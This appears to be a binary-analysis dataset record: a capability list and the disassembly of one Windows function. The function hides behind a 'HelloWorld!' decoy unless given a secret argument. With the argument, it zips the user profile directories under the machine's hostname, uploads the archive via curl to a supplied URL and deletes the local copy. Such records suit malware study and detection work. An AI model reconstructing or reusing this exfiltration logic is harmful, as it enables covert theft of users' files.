Function at 0x140009030
Capabilities:
Delete file
Get hostname
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14008e7c0]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov r15, rdx
mov r12d, ecx
xor r13d, r13d
cmp ecx, 2
jl 0x1400098fa
mov ecx, r13d
mov rdx, qword [rdx + 8]
lea r8, str.10ol
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1400098fa
cmp rcx, 5
jne 0x140009090
mov ecx, 0x202
lea rdx, [rbp]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400090de
lea rdx, str.WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x100
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x14000911e
lea rdx, str.Error_getting_hostname.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x1a0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r13b
jne 0x140009146
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x50]
call fcn.14000b430
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x1400091a1
mov rcx, qword [0x14008e868]
inc rdx
cmp rdx, 0x1000
jb 0x14000919c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000923a
mov rcx, r8
call fcn.14006f55c
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [0x14008e868], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x14008e878], xmm1
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rbp - 0x28], r13
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 8
lea rdx, str.C:Users
lea rcx, [rsp + 0x50]
call fcn.14000b1b0
nop
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x50]
call fcn.140007660
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140009246
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009241
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14006f55c
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x40], r13
mov rsi, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x38]
cmp rbx, rsi
je 0x140009275
nop
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.140007e20
add rbx, 0x20
cmp rbx, rsi
jne 0x140009260
lea rcx, [rbp - 0x20]
call fcn.1400073a0
nop
mov r8, rax
lea rcx, [rsp + 0x50]
call fcn.14000aab0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 4
jb 0x1400092cc
lea r8, [rdx + 4]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x1400092b7
mov rax, qword [rcx]
movabs r9, 0x700069007a002e
mov qword [rax + rdx*2], r9
mov word [rax + r8*2], r13w
jmp 0x1400092e9
mov qword [rsp + 0x20], 4
lea r9, str..zip
mov edx, 4
call fcn.14000aff0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 7
mov word [rcx], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x14000935c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009357
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqa xmm0, xmmword [0x140083950]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400093bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400093ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqa xmm0, xmmword [0x140083950]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r13w
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140008a70
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r14, [rdx + rax*2]
lea rbx, [rbp - 0x70]
cmova rbx, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
cmp rbx, r14
jne 0x140009414
mov byte [rsp + 0x70], 0
jmp 0x14000950c
sub r14, rbx
sar r14, 1
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x140009952
mov esi, reloc.WS2_32.dll_ntohs
cmp r14, rsi
jbe 0x1400094ce
mov rsi, r14
or rsi, 0xf
cmp rsi, rax
jbe 0x140009483
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14006f210
mov rcx, rax
test rax, rax
je 0x1400097dc
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rsi
jmp 0x1400094d3
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x1400094a6
mov rax, r13
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rsi
jmp 0x1400094d3
cmp rcx, 0x1000
jb 0x1400094be
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009958
jmp 0x140009458
call fcn.14006f210
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x78], rsi
jmp 0x1400094d3
mov rax, qword [rsp + 0x70]
lea r8, [rsp + 0x70]
cmp rsi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x140009503
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x1400094f0
mov qword [rbp - 0x80], r14
mov byte [r8 + r14], 0
mov rdx, qword [r15 + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140009522
lea rcx, [rbp - 0x20]
call fcn.14000b430
nop
cmp r12d, 3
jne 0x14000976a
mov rdx, qword [r15 + 0x10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140009556
mov r8, rdi
lea rcx, [rsp + 0x50]
call fcn.14000b430
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd90
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14000cee0
mov rdi, rax
test rax, rax
jne 0x1400095d4
lea rdx, str.Failed_to_initialize_curl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400096ba
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r8, qword [rsp + 0x50]
mov edx, 0x2712
mov rcx, rdi
call fcn.140011eb0
mov edx, Ordinal_50
mov r8d, 1
mov rcx, rdi
call fcn.140011eb0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov dword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa
lea r9, str.file
mov r8d, 1
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.14000dd70
mov r8, qword [rsp + 0x40]
mov edx, 0x2728
mov rcx, rdi
call fcn.140011eb0
mov rcx, rdi
call fcn.14000cf50
mov esi, eax
test eax, eax
je 0x1400096df
lea rdx, str.curl_easy_perform___failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000a280
mov rbx, rax
mov ecx, esi
call fcn.14000e780
mov rdx, rax
mov rcx, rbx
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call fcn.14000ceb0
mov rcx, qword [rsp + 0x40]
call fcn.14000dda0
lea rdx, str.Upload_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140009729
mov rcx, rdi
call fcn.14000ceb0
mov rcx, qword [rsp + 0x40]
call fcn.14000dda0
lea rdx, str.Upload_successful
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000976a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009764
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009764
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400097a9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400097e8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000983c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009837
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqa xmm0, xmmword [0x140083950]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], r13w
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x1400098a8
mov rdx, qword [rbp - 0x48]
call fcn.14000b530
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009897
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r13
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400098f6
mov rdx, qword [rbp - 0x30]
call fcn.14000b530
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x38]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400098f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
xor eax, eax
jmp 0x140009922
lea rdx, str.HelloWorld_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a280
lea rdx, [0x14000a460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.14006ef50
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140005660
nop
call fcn.1400055c0
int3